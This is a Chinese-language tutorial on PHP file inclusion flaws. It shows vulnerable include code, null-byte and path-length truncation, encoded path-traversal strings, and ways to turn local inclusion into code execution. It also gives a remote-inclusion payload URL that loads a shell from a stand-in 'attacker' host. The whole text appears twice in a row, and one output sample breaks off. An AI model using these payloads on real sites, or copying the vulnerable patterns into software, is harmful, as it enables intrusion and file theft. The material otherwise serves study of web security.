PHP安全问题
PHP由于灵活的语法成为目前非常流行的WEB开发语言,应用非常广泛。也是由于这个特点让PHP给安全工作带来了一些困扰。下面讨论PHP自身的语言问题。
文件包含漏洞:
文件包含漏洞也是代码注入的一种,代码注入的原理是注入一段用户能够控制执行的脚本或代码,并让服务器端执行。代码注入的典型代表就是文件包含(file inclusion).这种文件包含漏洞可能出现在JSP、PHP、ASP等语言中,常见文件包含函数如下:
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), ...
JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), ...
ASP:include file, include virtual, ...
在PHP中,主要由以下四个函数完成:
include()、require()、include_once()、require_once()。当使用这四个函数包含新文件时,PHP内核并不会在意被包含的文件是什么类型都将视为PHP代码执行。
要想成功的利用文件包含漏洞需要满足下面两个条件:
1,include()等函数通过动态变量的方式引入需要包含的文件
2,用户能够控制该变量
文件包含漏洞之本地文件包含
本地文件包含漏洞是指能够打开并包含本地文件的漏洞(local file include),如
<?php
$file = $_GET['file']; // "../../etc/passwd
\0"
if (file_exists('/home/wwwrun/'.
$file.'.php')) {
// file_exists will return true as the
file /home/wwwrun/../../etc/passwd exists
include '/home/wwwrun/'.$file.'.php';
// the file /etc/passwd will be included
}
?>
当然,这时将变量与字符串连接起来需要用到00截断技巧,有时开发者禁用掉0字节,如:
<?php
function getVar($name)
{
$value = isset($_GET[$name]) ?
$_GET[$name] : null;
if (is_string($value)) {
$value = str_replace("\0", '',
$value);
}
}
?>
但是这样并没有解决所有问题,安全研究者cloie发现一种技巧:利用操作系统对目录最大长度限制,如windows下是256字节、linux下是4096字节,达到最大值长度后,其后的字符串将会被丢弃。构造方式可以是./././././././././././abc、//abc、../1/abc/../1/abc/../1/abc/../1/abc/
除include()等4个函数外,PHP中能够对文件进行操作的函数都有可能出现漏洞,虽然大多数不能执行PHP代码,但是可以读取到敏感文件如fopen()、fread()函数
文件包含漏洞能够读取敏感文件或者服务端脚本的源代码,从而为攻击者实施进一步攻击奠定基础。如目录遍历(path traversal),可以通过不同的编码方式进行绕过服务端逻辑:
%2e%2e%2f等同于../
%2e%2e/等同于../
..%2f等同于../
%2e%2e%5c等同于..\
%2e%2e\等同于..\
..%5c等同于..\
%252e%252e%255c等同于..\
..%255c等同于..\ and so on.
某些Web容器支持的编码方式:
..%c0%af等同于../
..%c1%9c等同于..\
目录遍历漏洞是一种跨越目录读取文件的方法,但是PHP配置open_basedir时,该攻击方式无效,需要注意的是open_basedir的值是目录的前缀,如限定一个指定的目录,则需要在最后加上“/”
文件包含漏洞之远程文件包含
如果PHP的配置选项allow_url_include为On的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞:
<?php
if ($route == "share") {
require_once $basePath . '/action/
m_share.php';
} elseif ($route == "sharelink") {
require_once $basePath . '/action/
m_sharelink.php';
}
?>
在变量$basePath前没有设置任何障碍,因此攻击者可以构造如下URL攻击:
/?param=http://attacker/phpshell.txt? 最终加载的代码实际执行了:
require_once 'http://attacker/phpshell.txt?/
action/m_share.php';
问号后面的代码被解释成URL的querys-string,也是一种截断,同样可以使用%00截断。远程文件包含漏洞可以直接用来执行任意命令。
附加上本地文件包含的利用技巧:
远程文件包含漏洞之所以能够执行命令,就是因为攻击者能够自定义被包含的文件内容。因此本地文件包含漏洞想要执行命令,也需要找到一个攻击者能够控制内容的本地文件。经过不懈的研究,安全研究者总结出了以下几种常见的技巧,用于本地文件包含后执行PHP代码。
(1)包含用户上传的文件。
(2)包含data://或php://input等伪协议。
(3)包含Session文件。
(4)包含日志文件,比如Web Server的ac-cess log。
(5)包含/proc/self/environ文件。
(6)包含上传的临时文件(RFC1867)。
(7)包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等,需要具体情况具体分析。
包含用户上传的文件很好理解,这也是最简单的一种方法。用户上传的文件内容中如果包含了PHP代码,那么这些代码被include() 加载后将会执行。
但包含用户上传文件能否攻击成功,取决于文件上传功能的设计,比如要求知道用户上传后文件所在的物理路径,有时这个路径很难猜到。
包含/proc/self/environ是一种更为通用的方法,因为它根本不需要猜测被包含文件的路径,同时用户也能控制它的内容。
http://www.website.com/view.php?
page=../../../../../proc/self/environ
包含/proc/self/environ文件,可能看到如下内容:
DOCUMENT_ROOT=/home/sirgod/public_html
GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/
PHP处理上传文件的过程
PHP会为上传文件创建临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在Linux下会使用/tmp目录,在Win-dows下会使用C:\windows\temp目录。
该临时文件的文件名是随机的,攻击者必须准确猜测出该文件名才能成功利用漏洞。PHP在此处并没有使用安全的随机函数,因此使得暴力猜解文件名成为可能。在Windows下,仅有65535种不同的文件名。
PHP由于灵活的语法成为目前非常流行的WEB开发语言,应用非常广泛。也是由于这个特点让PHP给安全工作带来了一些困扰。下面讨论PHP自身的语言问题。
文件包含漏洞:
文件包含漏洞也是代码注入的一种,代码注入的原理是注入一段用户能够控制执行的脚本或代码,并让服务器端执行。代码注入的典型代表就是文件包含(file inclusion).这种文件包含漏洞可能出现在JSP、PHP、ASP等语言中,常见文件包含函数如下:
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), ...
JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), ...
ASP:include file, include virtual, ...
在PHP中,主要由以下四个函数完成:
include()、require()、include_once()、require_once()。当使用这四个函数包含新文件时,PHP内核并不会在意被包含的文件是什么类型都将视为PHP代码执行。
要想成功的利用文件包含漏洞需要满足下面两个条件:
1,include()等函数通过动态变量的方式引入需要包含的文件
2,用户能够控制该变量
文件包含漏洞之本地文件包含
本地文件包含漏洞是指能够打开并包含本地文件的漏洞(local file include),如
<?php
$file = $_GET['file']; // "../../etc/passwd
\0"
if (file_exists('/home/wwwrun/'.
$file.'.php')) {
// file_exists will return true as the
file /home/wwwrun/../../etc/passwd exists
include '/home/wwwrun/'.$file.'.php';
// the file /etc/passwd will be included
}
?>
当然,这时将变量与字符串连接起来需要用到00截断技巧,有时开发者禁用掉0字节,如:
<?php
function getVar($name)
{
$value = isset($_GET[$name]) ?
$_GET[$name] : null;
if (is_string($value)) {
$value = str_replace("\0", '',
$value);
}
}
?>
但是这样并没有解决所有问题,安全研究者cloie发现一种技巧:利用操作系统对目录最大长度限制,如windows下是256字节、linux下是4096字节,达到最大值长度后,其后的字符串将会被丢弃。构造方式可以是./././././././././././abc、//abc、../1/abc/../1/abc/../1/abc/../1/abc/
除include()等4个函数外,PHP中能够对文件进行操作的函数都有可能出现漏洞,虽然大多数不能执行PHP代码,但是可以读取到敏感文件如fopen()、fread()函数
文件包含漏洞能够读取敏感文件或者服务端脚本的源代码,从而为攻击者实施进一步攻击奠定基础。如目录遍历(path traversal),可以通过不同的编码方式进行绕过服务端逻辑:
%2e%2e%2f等同于../
%2e%2e/等同于../
..%2f等同于../
%2e%2e%5c等同于..\
%2e%2e\等同于..\
..%5c等同于..\
%252e%252e%255c等同于..\
..%255c等同于..\ and so on.
某些Web容器支持的编码方式:
..%c0%af等同于../
..%c1%9c等同于..\
目录遍历漏洞是一种跨越目录读取文件的方法,但是PHP配置open_basedir时,该攻击方式无效,需要注意的是open_basedir的值是目录的前缀,如限定一个指定的目录,则需要在最后加上“/”
文件包含漏洞之远程文件包含
如果PHP的配置选项allow_url_include为On的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞:
<?php
if ($route == "share") {
require_once $basePath . '/action/
m_share.php';
} elseif ($route == "sharelink") {
require_once $basePath . '/action/
m_sharelink.php';
}
?>
在变量$basePath前没有设置任何障碍,因此攻击者可以构造如下URL攻击:
/?param=http://attacker/phpshell.txt? 最终加载的代码实际执行了:
require_once 'http://attacker/phpshell.txt?/
action/m_share.php';
问号后面的代码被解释成URL的querys-string,也是一种截断,同样可以使用%00截断。远程文件包含漏洞可以直接用来执行任意命令。
附加上本地文件包含的利用技巧:
远程文件包含漏洞之所以能够执行命令,就是因为攻击者能够自定义被包含的文件内容。因此本地文件包含漏洞想要执行命令,也需要找到一个攻击者能够控制内容的本地文件。经过不懈的研究,安全研究者总结出了以下几种常见的技巧,用于本地文件包含后执行PHP代码。
(1)包含用户上传的文件。
(2)包含data://或php://input等伪协议。
(3)包含Session文件。
(4)包含日志文件,比如Web Server的ac-cess log。
(5)包含/proc/self/environ文件。
(6)包含上传的临时文件(RFC1867)。
(7)包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等,需要具体情况具体分析。
包含用户上传的文件很好理解,这也是最简单的一种方法。用户上传的文件内容中如果包含了PHP代码,那么这些代码被include() 加载后将会执行。
但包含用户上传文件能否攻击成功,取决于文件上传功能的设计,比如要求知道用户上传后文件所在的物理路径,有时这个路径很难猜到。
包含/proc/self/environ是一种更为通用的方法,因为它根本不需要猜测被包含文件的路径,同时用户也能控制它的内容。
http://www.website.com/view.php?
page=../../../../../proc/self/environ
包含/proc/self/environ文件,可能看到如下内容:
DOCUMENT_ROOT=/home/sirgod/public_html
GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/
PHP处理上传文件的过程
PHP会为上传文件创建临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在Linux下会使用/tmp目录,在Win-dows下会使用C:\windows\temp目录。
该临时文件的文件名是随机的,攻击者必须准确猜测出该文件名才能成功利用漏洞。PHP在此处并没有使用安全的随机函数,因此使得暴力猜解文件名成为可能。在Windows下,仅有65535种不同的文件名。